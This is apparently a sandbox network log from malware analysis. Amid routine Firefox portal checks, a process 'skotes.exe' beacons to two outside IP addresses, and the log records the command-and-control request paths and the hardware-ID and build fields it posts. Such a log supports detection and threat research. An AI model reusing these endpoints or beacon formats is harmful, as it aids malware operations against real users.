Oct 31, 2024 20:53:10.553941011 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38831 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:11.676628113 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:11.801983118 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38832 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49872	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:07.461755037 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:53:08.396744967 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49884	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:09.405163050 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 20:53:10.343446016 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:53:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 20:53:10.345662117 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBKFHIJKJKECAAAECA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 45 34 46 32 46 42 33 39 30 36 30 33 38 31 30 32 38 39 34 34 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 2d 2d 0d 0a Data Ascii: ------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="hwid"3E4F2FB390603810289448------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="build"tale------GHDBKFHIJKJKECAAAECA--
Oct 31, 2024 20:53:10.645739079 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:53:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49886	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:10.079796076 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:53:10.992769003 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49905	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:12.511820078 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:53:13.460685968 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49921	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:15.087030888 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:53:16.046956062 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49936	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:17.570952892 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:53:18.504086971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49953	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:20.714754105 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:53:21.196285009 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49961	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:21.250255108 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:22.076657057 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38842 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:22.080101967 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38842 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:22.127791882 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:22.254184008 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38843 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:22.767676115 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:22.894012928 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38843 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:23.418565035 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:23.545404911 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38844 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:27.773089886 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:27.900113106 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38848 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:37.908169031 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:53:38.482175112 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:38.609616995 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38859 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:45.599096060 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:45.725969076 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38866 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:51.193886995 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:51.320823908 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38872 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:51.388324976 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:51.514619112 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38872 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:51.802520037 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:51.931528091 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38872 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:52.044239998 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:52.318032026 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38873 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:59.120208979 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:59.248663902 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38880 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:54:09.253472090 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:54:19.264476061 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:54:20.582330942 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:54:20.709120035 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38901 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:54:30.721201897 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 20:54:39.757653952 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
